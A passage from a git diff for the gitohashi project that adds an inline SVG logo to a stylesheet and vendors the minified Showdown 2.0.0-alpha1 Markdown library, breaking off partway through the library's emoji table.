<svg version="1.1" viewBox="0 0 64.125443 41.960258" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><radialGradient id="a" cx="289.7" cy="412.8" r=".05374" gradientTransform="matrix(1.173 0 0 1.106 -50.28 -43.66)" gradientUnits="userSpaceOnUse" xlink:href="#d"/><linearGradient id="d"><stop stop-color="#c2c9ca" stop-opacity=".376" offset="0"/><stop stop-color="#fff" stop-opacity="0" offset="1"/></linearGradient><linearGradient id="b" x1="8.472" x2="17.36" y1="124.9" y2="123.8" gradientUnits="userSpaceOnUse" xlink:href="#c"/><linearGradient id="c"><stop stop-color="#c8c6ca" stop-opacity="0" offset="0"/><stop stop-color="#c8c6ca" stop-opacity=".7216" offset=".3959"/><stop stop-color="#c8c6ca" stop-opacity=".4196" offset=".4816"/><stop stop-color="#c8c6ca" stop-opacity="0" offset="1"/></linearGradient></defs><metadata><rdf:RDF><cc:Work rdf:about=""><dc:format>image/svg+xml</dc:format><dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/><dc:title/></cc:Work></rdf:RDF></metadata><g transform="translate(-115.4 -205.3)"><g fill="#800000" stroke-width="3.182" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="ohashi"><path d="m126.4 240.1q0 3.406-1.442 5.308-1.442 1.889-3.953 1.889-1.591 0-2.809-0.8701-1.218-0.8701-1.877-2.498-0.6588-1.641-0.6588-3.828 0-3.369 1.429-5.258 1.429-1.902 3.965-1.902 2.449 0 3.891 1.939 1.454 1.927 1.454 5.221zm-7.359 0q0 2.163 0.4723 3.269t1.516 1.106q1.989 0 1.989-4.375 0-2.175-0.4848-3.244-0.4723-1.081-1.504-1.081-1.044 0-1.516 1.081-0.4723 1.069-0.4723 3.244z"/><path d="m135.6 247v-8.254q0-3.045-1.529-3.045-1.144 0-1.603 1.206-0.4599 1.193-0.4599 3.443v6.65h-3.306v-19.34h3.306v4.301q0 0.8328-0.1492 2.971h0.174q0.9944-2.039 3.058-2.039 1.902 0 2.871 1.293 0.9695 1.28 0.9695 3.779v9.037z"/><path d="m148.5 247-0.6588-1.889h-0.0746q-0.7334 1.218-1.516 1.678-0.7831 0.4599-1.976 0.4599-1.529 0-2.411-1.144-0.8701-1.144-0.8701-3.182 0-2.188 1.193-3.244 1.206-1.069 3.592-1.181l1.84-0.0746v-0.9944q0-1.939-1.678-1.939-1.243 0-2.859 0.9695l-1.144-2.287q2.063-1.305 4.487-1.305 2.2 0 3.344 1.268 1.156 1.255 1.156 3.567v9.298zm-2.871-2.337q0.9074 0 1.442-0.808 0.5469-0.8204 0.5469-2.175v-1.168l-1.019 0.0497q-1.131 0.0622-1.666 0.6464-0.5221 0.5842-0.5221 1.74 0 1.715 1.218 1.715z"/><path d="m161 242.9q0 2.026-1.193 3.17-1.181 1.131-3.493 1.131-2.051 0-3.393-0.808v-2.871q0.6837 0.4723 1.591 0.7831 0.9198 0.3108 1.616 0.3108 0.7707 0 1.168-0.3729 0.4102-0.3853 0.4102-1.007 0-0.6339-0.4226-1.106t-1.554-1.156q-1.504-0.895-2.163-1.902-0.6464-1.019-0.6464-2.399 0-1.765 1.206-2.797 1.218-1.032 3.331-1.032 1.84 0 3.468 0.9696l-1.081 2.374q-1.33-0.7209-2.337-0.7209-0.6339 0-0.9571 0.3356-0.3108 0.3356-0.3108 0.8204 0 0.5594 0.3853 0.9944 0.3978 0.435 1.467 1.081 1.293 0.7831 1.815 1.33 0.5221 0.5469 0.808 1.243 0.2859 0.6961 0.2859 1.628z"/><path d="m170 247v-8.254q0-3.045-1.529-3.045-1.144 0-1.603 1.206-0.4599 1.193-0.4599 3.443v6.65h-3.306v-19.34h3.306v4.301q0 0.8328-0.1492 2.971h0.174q0.9944-2.039 3.058-2.039 1.902 0 2.871 1.293 0.9696 1.28 0.9696 3.779v9.037z"/><path d="m179.4 247h-3.306v-13.85h3.306zm-3.443-17.46q0-0.8204 0.4723-1.293 0.4848-0.4848 1.342-0.4848 0.808 0 1.293 0.4848 0.4848 0.4724 0.4848 1.293 0 0.8452-0.4972 1.318-0.4972 0.4599-1.28 0.4599-0.8204 0-1.318-0.4599-0.4972-0.4723-0.4972-1.318z"/></g><g stroke-width="3.252" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="git"><path d="m126.8 210.8v1.982l-1.689 0.3811q0.4954 0.8892 0.4954 2.236 0 2.248-1.219 3.519t-3.404 1.27q-0.6351 0-0.94-0.1016-0.2414 0.2159-0.4573 0.4827-0.2159 0.2668-0.2159 0.6605 0 0.8892 1.537 0.8892h2.045q1.804 0 2.769 0.9781 0.9781 0.9654 0.9781 2.922 0 2.464-1.651 3.811-1.651 1.346-4.751 1.346-2.35 0-3.62-1.029-1.27-1.016-1.27-2.909 0-1.181 0.724-2.083 0.724-0.8892 2.007-1.296-0.6478-0.254-1.067-0.7875-0.4065-0.5335-0.4065-1.245 0-0.4319 0.127-0.7748 0.127-0.3557 0.3557-0.6605 0.2413-0.3176 0.9654-0.9273-0.8764-0.5335-1.385-1.639-0.5081-1.105-0.5081-2.452 0-2.324 1.219-3.595t3.493-1.27q0.4319 0 0.9908 0.1016 0.5589 0.0889 0.851 0.1905zm-8.32 16.18q0 0.8384 0.5208 1.283 0.5335 0.4573 1.512 0.4573 1.537 0 2.299-0.5843 0.7748-0.5843 0.7748-1.6 0-0.8002-0.4192-1.13-0.4065-0.3303-1.537-0.3303h-1.639q-0.6859 0-1.105 0.5081-0.4065 0.5208-0.4065 1.397zm1.042-11.58q0 2.502 1.41 2.502 1.372 0 1.372-2.528 0-2.591-1.372-2.591-1.41 0-1.41 2.617z"/><path d="m131.9 225h-3.379v-14.15h3.379zm-3.519-17.85q0-0.8384 0.4827-1.321 0.4954-0.4954 1.372-0.4954 0.8256 0 1.321 0.4954 0.4954 0.4827 0.4954 1.321 0 0.8638-0.5081 1.346-0.5081 0.47-1.308 0.47-0.8383 0-1.346-0.47-0.5081-0.4827-0.5081-1.346z"/><path d="m139.7 222.3q0.7113 0 1.537-0.3557v2.642q-0.8256 0.5716-2.477 0.5716-1.842 0-2.731-1.092-0.8892-1.105-0.8892-3.303v-7.329h-1.372v-1.512l1.766-1.219 0.8638-2.998h2.159v3.049h2.566v2.68h-2.566v7.443q0 1.423 1.143 1.423z"/></g><g transform="matrix(4.486 0 0 4.486 99.03 -332.6)"><g transform="matrix(1.92 .7589 -.7589 1.92 -234.7 -887.5)"><g transform="rotate(-9.196 290.5 412.2)" fill="#4d4d4d"><path d="m289.6 412.6 4.19-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.169 1.591-0.0146-0.072-0.0143-0.0432z"/><path d="m289.6 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.1437 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.1522-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/></g><ellipse cx="289.7" cy="412.8" rx=".06307" ry=".05943" fill="url(#a)"/></g><path d="m8.144 124.9 0.076-0.0585 0.07016-0.0351 9.121-1.052 0.04677 0.0117-8.986 1.163-0.04093-0.0468-0.09939-0.0468-0.09354 0.0117z" fill="url(#b)"/><path d="m8.238 125.2 0.1462-0.0643 0.04677-0.0468 9.039-1.263-0.03508 0.0351-9.009 1.345-0.1228 0.0117z" fill="#42484c" fill-opacity=".7216"/><text transform="rotate(-7.097)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".1345px" letter-spacing="0px" stroke-width=".01681" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".01681">gitohashi</tspan></text><text transform="rotate(-7.097)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".1345px" letter-spacing="0px" stroke-width=".01681" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".01681">gitohashi</tspan></text></g><g transform="matrix(4.456 -.515 .515 4.456 37.25 -321.9)"><g transform="matrix(1.92 .7589 -.7589 1.92 -234.7 -887.5)"><g transform="rotate(-9.196 290.5 412.2)" fill="#4d4d4d"><path d="m289.6 412.6 4.19-1.44 0.0209-6e-3s0.0126-7.8e-4 0.0183 8.6e-4c0.0223 9e-3 0.0185 0.0208 0.0182 0.0272-4e-3 0.0181-0.0143 0.0217-0.0143 0.0217l-4.169 1.591-0.0146-0.072-0.0143-0.0432z"/><path d="m289.6 412.6c-0.0524 0.0226-0.0861 0.0899-0.0627 0.1437 0.0307 0.0469 0.0788 0.0614 0.1254 0.0511-2e-3 -0.0566-0.0136-0.0949-0.0353-0.1522-5e-3 -0.01-0.0239-0.0342-0.0295-0.0436z"/></g><ellipse cx="289.7" cy="412.8" rx=".06307" ry=".05943" fill="url(#a)"/></g><path d="m8.144 124.9 0.076-0.0585 0.07016-0.0351 9.121-1.052 0.04677 0.0117-8.986 1.163-0.04093-0.0468-0.09939-0.0468-0.09354 0.0117z" fill="url(#b)"/><path d="m8.238 125.2 0.1462-0.0643 0.04677-0.0468 9.039-1.263-0.03508 0.0351-9.009 1.345-0.1228 0.0117z" fill="#42484c" fill-opacity=".7216"/><text transform="rotate(-7.097)" x="-6.6295662" y="125.1535" fill="#000000" font-family="'Open Sans'" font-size=".1345px" letter-spacing="0px" stroke-width=".01681" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6295662" y="125.1535" stroke-width=".01681">gitohashi</tspan></text><text transform="rotate(-7.097)" x="-6.6333256" y="125.14806" fill="#999999" font-family="'Open Sans'" font-size=".1345px" letter-spacing="0px" stroke-width=".01681" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-6.6333256" y="125.14806" fill="#999999" stroke-width=".01681">gitohashi</tspan></text></g></g></svg>");
+        width:0px;
+        height:0px;
+        padding:3em 4.5em 3em 4.5em;
+        vertical-align:middle;
+	margin-right: 0.3em;
+	margin-bottom: 8px;
+        background-repeat: no-repeat;
+        color: rgba(0, 0, 0, 0) !important;
+}
+
diff --git a/assets/showdown.min.js b/assets/showdown.min.js
new file mode 100644
index 0000000..e9a28a8
--- /dev/null
+++ b/assets/showdown.min.js
@@ -0,0 +1,3 @@
+/*! showdown v 2.0.0-alpha1 - 19-04-2018 */
+(function(){function C(g){"use strict";var A={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `«««` and `»»»` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===g)return JSON.parse(JSON.stringify(A));var e={};for(var C in A)A.hasOwnProperty(C)&&(e[C]=A[C].defaultValue);return e}var p={},e={},i={},l=C(!0),c="vanilla",u={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:C(!0),allOn:function(){"use strict";var g=C(!0),A={};for(var e in g)g.hasOwnProperty(e)&&(A[e]=!0);return A}()};function h(g,A){"use strict";var e=A?"Error in "+A+" extension->":"Error in unnamed extension",C={valid:!0,error:""};p.helper.isArray(g)||(g=[g]);for(var I=0;I<g.length;++I){var r=e+" sub-extension "+I+": ",t=g[I];if("object"!=typeof t)return C.valid=!1,C.error=r+"must be an object, but "+typeof t+" given",C;if(!p.helper.isString(t.type))return C.valid=!1,C.error=r+'property "type" must be a string, but '+typeof t.type+" given",C;var a=t.type=t.type.toLowerCase();if("language"===a&&(a=t.type="lang"),"html"===a&&(a=t.type="output"),"lang"!==a&&"output"!==a&&"listener"!==a)return C.valid=!1,C.error=r+"type "+a+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',C;if("listener"===a){if(p.helper.isUndefined(t.listeners))return C.valid=!1,C.error=r+'. Extensions of type "listener" must have a property called "listeners"',C}else if(p.helper.isUndefined(t.filter)&&p.helper.isUndefined(t.regex))return C.valid=!1,C.error=r+a+' extensions must define either a "regex" property or a "filter" method',C;if(t.listeners){if("object"!=typeof t.listeners)return C.valid=!1,C.error=r+'"listeners" property must be an object but '+typeof t.listeners+" given",C;for(var n in t.listeners)if(t.listeners.hasOwnProperty(n)&&"function"!=typeof t.listeners[n])return C.valid=!1,C.error=r+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+n+" must be a function but "+typeof t.listeners[n]+" given",C}if(t.filter){if("function"!=typeof t.filter)return C.valid=!1,C.error=r+'"filter" must be a function, but '+typeof t.filter+" given",C}else if(t.regex){if(p.helper.isString(t.regex)&&(t.regex=new RegExp(t.regex,"g")),!(t.regex instanceof RegExp))return C.valid=!1,C.error=r+'"regex" property must either be a string or a RegExp object, but '+typeof t.regex+" given",C;if(p.helper.isUndefined(t.replace))return C.valid=!1,C.error=r+'"regex" extensions must implement a replace string or function',C}}return C}function r(g,A){"use strict";return"¨E"+A.charCodeAt(0)+"E"}p.helper={},p.extensions={},p.setOption=function(g,A){"use strict";return l[g]=A,this},p.getOption=function(g){"use strict";return l[g]},p.getOptions=function(){"use strict";return l},p.resetOptions=function(){"use strict";l=C(!0)},p.setFlavor=function(g){"use strict";if(!u.hasOwnProperty(g))throw Error(g+" flavor was not found");p.resetOptions();var A=u[g];for(var e in c=g,A)A.hasOwnProperty(e)&&(l[e]=A[e])},p.getFlavor=function(){"use strict";return c},p.getFlavorOptions=function(g){"use strict";if(u.hasOwnProperty(g))return u[g]},p.getDefaultOptions=function(g){"use strict";return C(g)},p.subParser=function(g,A){"use strict";if(p.helper.isString(g)){if(void 0===A){if(e.hasOwnProperty(g))return e[g];throw Error("SubParser named "+g+" not registered!")}e[g]=A}},p.extension=function(g,A){"use strict";if(!p.helper.isString(g))throw Error("Extension 'name' must be a string");if(g=p.helper.stdExtName(g),p.helper.isUndefined(A)){if(!i.hasOwnProperty(g))throw Error("Extension named "+g+" is not registered!");return i[g]}"function"==typeof A&&(A=A()),p.helper.isArray(A)||(A=[A]);var e=h(A,g);if(!e.valid)throw Error(e.error);i[g]=A},p.getAllExtensions=function(){"use strict";return i},p.removeExtension=function(g){"use strict";delete i[g]},p.resetExtensions=function(){"use strict";i={}},p.validateExtension=function(g){"use strict";var A=h(g,null);return!!A.valid||(console.warn(A.error),!1)},p.hasOwnProperty("helper")||(p.helper={}),void 0===this.document&&void 0===this.window&&(this.window=require("jsdom").jsdom("",{}).defaultView),p.helper.document=this.window.document,p.helper.isString=function(g){"use strict";return"string"==typeof g||g instanceof String},p.helper.isFunction=function(g){"use strict";return g&&"[object Function]"==={}.toString.call(g)},p.helper.isArray=function(g){"use strict";return Array.isArray(g)},p.helper.isUndefined=function(g){"use strict";return void 0===g},p.helper.forEach=function(g,A){"use strict";if(p.helper.isUndefined(g))throw new Error("obj param is required");if(p.helper.isUndefined(A))throw new Error("callback param is required");if(!p.helper.isFunction(A))throw new Error("callback param must be a function/closure");if("function"==typeof g.forEach)g.forEach(A);else if(p.helper.isArray(g))for(var e=0;e<g.length;e++)A(g[e],e,g);else{if("object"!=typeof g)throw new Error("obj does not seem to be an array or an iterable object");for(var C in g)g.hasOwnProperty(C)&&A(g[C],C,g)}},p.helper.stdExtName=function(g){"use strict";return g.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},p.helper.escapeCharactersCallback=r,p.helper.escapeCharacters=function(g,A,e){"use strict";var C="(["+A.replace(/([\[\]\\])/g,"\\$1")+"])";e&&(C="\\\\"+C);var I=new RegExp(C,"g");return g=g.replace(I,r)};var m=function(g,A,e,C){"use strict";var I,r,t,a,n,o=C||"",s=-1<o.indexOf("g"),i=new RegExp(A+"|"+e,"g"+o.replace(/g/g,"")),l=new RegExp(A,o.replace(/g/g,"")),c=[];do{for(I=0;t=i.exec(g);)if(l.test(t[0]))I++||(a=(r=i.lastIndex)-t[0].length);else if(I&&!--I){n=t.index+t[0].length;var u={left:{start:a,end:r},match:{start:r,end:t.index},right:{start:t.index,end:n},wholeMatch:{start:a,end:n}};if(c.push(u),!s)return c}}while(I&&(i.lastIndex=r));return c};p.helper.matchRecursiveRegExp=function(g,A,e,C){"use strict";for(var I=m(g,A,e,C),r=[],t=0;t<I.length;++t)r.push([g.slice(I[t].wholeMatch.start,I[t].wholeMatch.end),g.slice(I[t].match.start,I[t].match.end),g.slice(I[t].left.start,I[t].left.end),g.slice(I[t].right.start,I[t].right.end)]);return r},p.helper.replaceRecursiveRegExp=function(g,A,e,C,I){"use strict";if(!p.helper.isFunction(A)){var r=A;A=function(){return r}}var t=m(g,e,C,I),a=g,n=t.length;if(0<n){var o=[];0!==t[0].wholeMatch.start&&o.push(g.slice(0,t[0].wholeMatch.start));for(var s=0;s<n;++s)o.push(A(g.slice(t[s].wholeMatch.start,t[s].wholeMatch.end),g.slice(t[s].match.start,t[s].match.end),g.slice(t[s].left.start,t[s].left.end),g.slice(t[s].right.start,t[s].right.end))),s<n-1&&o.push(g.slice(t[s].wholeMatch.end,t[s+1].wholeMatch.start));t[n-1].wholeMatch.end<g.length&&o.push(g.slice(t[n-1].wholeMatch.end)),a=o.join("")}return a},p.helper.regexIndexOf=function(g,A,e){"use strict";if(!p.helper.isString(g))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(A instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var C=g.substring(e||0).search(A);return 0<=C?C+(e||0):C},p.helper.splitAtIndex=function(g,A){"use strict";if(!p.helper.isString(g))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[g.substring(0,A),g.substring(A)]},p.helper.encodeEmailAddress=function(g){"use strict";var e=[function(g){return"&#"+g.charCodeAt(0)+";"},function(g){return"&#x"+g.charCodeAt(0).toString(16)+";"},function(g){return g}];return g=g.replace(/./g,function(g){if("@"===g)g=e[Math.floor(2*Math.random())](g);else{var A=Math.random();g=.9<A?e[2](g):.45<A?e[1](g):e[0](g)}return g})},p.helper.padEnd=function(g,A,e){"use strict";return A>>=0,e=String(e||" "),g.length>A?String(g):((A-=g.length)>e.length&&(e+=e.repeat(A/e.length)),String(g)+e.slice(0,A))},p.helper.unescapeHTMLEntities=function(g){"use strict";return g.replace(/&quot;/g,'"').replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&")},"undefined"==typeof console&&(console={warn:function(g){"use strict";alert(g)},log:function(g){"use strict";alert(g)},error:function(g){"use strict";throw g}}),p.helper.regexes={asteriskDashAndColon:/([*_:~])/g},p.helper.emojis={"+1":"👍","-1":"👎",100:"💯",1234:"🔢","1st_place_medal":"🥇","2nd_place_medal":"🥈","3rd_place_medal":"🥉","8ball":"🎱",a:"🅰️",ab:"🆎",abc:"🔤",abcd:"🔡",accept:"🉑",aerial_tramway:"🚡",airplane:"✈️",alarm_clock:"⏰",alembic:"⚗️",alien:"👽",ambulance:"🚑",amphora:"🏺",anchor:"⚓️",angel:"👼",anger:"💢",angry:"😠",anguished:"😧",ant:"🐜",apple:"🍎",aquarius:"♒️",aries:"♈️",arrow_backward:"◀️",arrow_double_down:"⏬",arrow_double_up:"⏫",arrow_down:"⬇️",arrow_down_small:"🔽",arrow_forward:"▶️",arrow_heading_down:"⤵️",arrow_heading_up:"⤴️",arrow_left:"⬅️",arrow_lower_left:"↙️",arrow_lower_right:"↘️",arrow_right:"➡️",arrow_right_hook:"↪️",arrow_up:"⬆️",arrow_up_down:"↕️",arrow_up_small:"🔼",arrow_upper_left:"↖️",arrow_upper_right:"↗️",arrows_clockwise:"🔃",arrows_counterclockwise:"🔄",art:"🎨",articulated_lorry:"🚛",artificial_satellite:"🛰",astonished:"😲",athletic_shoe:"👟",atm:"🏧",atom_symbol:"⚛️",avocado:"🥑",b:"🅱️",baby:"👶",baby_bottle:"🍼",baby_chick:"🐤",baby_symbol:"🚼",back:"🔙",bacon:"🥓",badminton:"🏸",baggage_claim:"🛄",baguette_bread:"🥖",balance_scale:"⚖️",balloon:"🎈",ballot_box:"🗳",ballot_box_with_check:"☑️",bamboo:"🎍",banana:"🍌",bangbang:"‼️",bank:"🏦",bar_chart:"📊",barber:"💈",baseball:"⚾️",basketball:"🏀",basketball_man:"⛹️",basketball_woman:"⛹️&zwj;♀️",bat:"🦇",bath:"🛀",bathtub:"🛁",battery:"🔋",beach_umbrella:"🏖",bear:"🐻",bed:"🛏",bee:"🐝",beer:"🍺",beers:"🍻",beetle:"🐞",beginner:"🔰",bell:"🔔",bellhop_bell:"🛎",bento:"🍱",biking_man:"🚴",bike:"🚲",biking_woman:"🚴&zwj;♀️",bikini:"👙",biohazard:"☣️",bird:"🐦",birthday:"🎂",black_circle:"⚫️",black_flag:"🏴",black_heart:"🖤",black_joker:"🃏",black_large_square:"⬛️",black_medium_small_square:"◾️",black_medium_square:"◼️",black_nib:"✒️",black_small_square:"▪️",black_square_button:"🔲",blonde_man:"👱",blonde_woman:"👱&zwj;♀️",blossom:"🌼",blowfish:"🐡",blue_book:"📘",blue_car:"🚙",blue_heart:"💙",blush:"😊",boar:"🐗",boat:"⛵️",bomb:"💣",book:"📖",bookmark:"🔖",bookmark_tabs:"📑",books:"📚",boom:"💥",boot:"👢",bouquet:"💐",bowing_man:"🙇",bow_and_arrow:"🏹",bowing_woman:"🙇&zwj;♀️",bowling:"🎳",boxing_glove:"🥊",boy:"👦",bread:"🍞",bride_with_veil:"👰",bridge_at_night:"🌉",briefcase:"💼",broken_heart:"💔",bug:"🐛",building_construction:"🏗",bulb:"💡",bullettrain_front:"🚅",bullettrain_side:"🚄",burrito:"🌯",bus:"🚌",business_suit_levitating:"🕴",busstop:"🚏",bust_in_silhouette:"👤",busts_in_silhouette:"👥",butterfly:"🦋",cactus:"🌵",cake:"🍰",calendar:"📆",call_me_hand:"🤙",calling:"📲",camel:"🐫",camera:"📷",camera_flash:"📸",camping:"🏕",cancer:"♋️",candle:"🕯",candy:"🍬",canoe:"🛶",capital_abcd:"🔠",capricorn:"♑️",car:"🚗",card_file_box:"🗃",card_index:"📇",card_index_dividers:"🗂",carousel_horse:"🎠",carrot:"🥕",cat:"🐱",cat2:"🐈",cd:"💿",chains:"⛓",champagne:"🍾",chart:"💹",chart_with_downwards_trend:"📉",chart_with_upwards_trend:"📈",checkered_flag:"🏁",cheese:"🧀",cherries:"🍒",cherry_blossom:"🌸",chestnut:"🌰",chicken:"🐔",children_crossing:"🚸",chipmunk:"🐿",chocolate_bar:"🍫",christmas_tree:"🎄",church:"⛪️",cinema:"🎦",circus_tent:"🎪",city_sunrise:"🌇",city_sunset:"🌆",cityscape:"🏙",cl:"🆑",clamp:"🗜",clap:"👏",clapper:"🎬",classical_building:"🏛",clinking_glasses:"🥂",clipboard:"📋",clock1:"🕐",clock10:"🕙",clock1030:"🕥",clock11:"🕚",clock1130:"🕦",clock12:"🕛",clock1230:"🕧",clock130:"🕜",clock2:"🕑",clock230:"🕝",clock3:"🕒",clock330:"🕞",clock4:"🕓",clock430:"🕟",clock5:"🕔",clock530:"🕠",clock6:"🕕",clock630:"🕡",clock7:"🕖",clock730:"🕢",clock8:"🕗",clock830:"🕣",clock9:"🕘",clock930:"🕤",closed_book:"📕",closed_lock_with_key:"🔐",closed_umbrella:"🌂",cloud:"☁️",cloud_with_lightning:"🌩",cloud_with_lightning_and_rain:"⛈",cloud_with_rain:"🌧",cloud_with_snow:"🌨",clown_face:"🤡",clubs:"♣️",cocktail:"🍸",coffee:"☕️",coffin:"⚰️",cold_sweat:"😰",comet:"☄️",computer:"💻",computer_mouse:"🖱",confetti_ball:"🎊",confounded:"😖",confused:"😕",congratulations:"㊗️",construction:"🚧",construction_worker_man:"👷",construction_worker_woman:"👷&zwj;♀️",control_knobs:"🎛",convenience_store:"🏪",cookie:"🍪",cool:"🆒",policeman:"👮",copyright:"©️",corn:"🌽",couch_and_lamp:"🛋",couple:"👫",couple_with_heart_woman_man:"💑",couple_with_heart_man_man:"👨&zwj;❤️&zwj;👨",couple_with_heart_woman_woman:"👩&zwj;❤️&zwj;👩",couplekiss_man_man:"👨&zwj;❤️&zwj;💋&zwj;👨",couplekiss_man_woman:"💏",couplekiss_woman_woman:"👩&zwj;❤️&zwj;💋&zwj;👩",cow:"🐮",cow2:"🐄",cowboy_hat_face:"🤠",crab:"🦀",crayon:"🖍",credit_card:"💳",crescent_moon:"🌙",cricket:"🏏",crocodile:"🐊",croissant:"🥐",crossed_fingers:"🤞",crossed_flags:"🎌",crossed_swords:"⚔️",crown:"👑",cry:"😢",crying_cat_face:"😿",crystal_ball:"🔮",cucumber:"🥒",cupid:"💘",curly_loop:"➰",currency_exchange:"💱",curry:"🍛",custard:"🍮",customs:"🛃",cyclone:"🌀",dagger:"🗡",dancer:"💃",dancing_women:"👯",dancing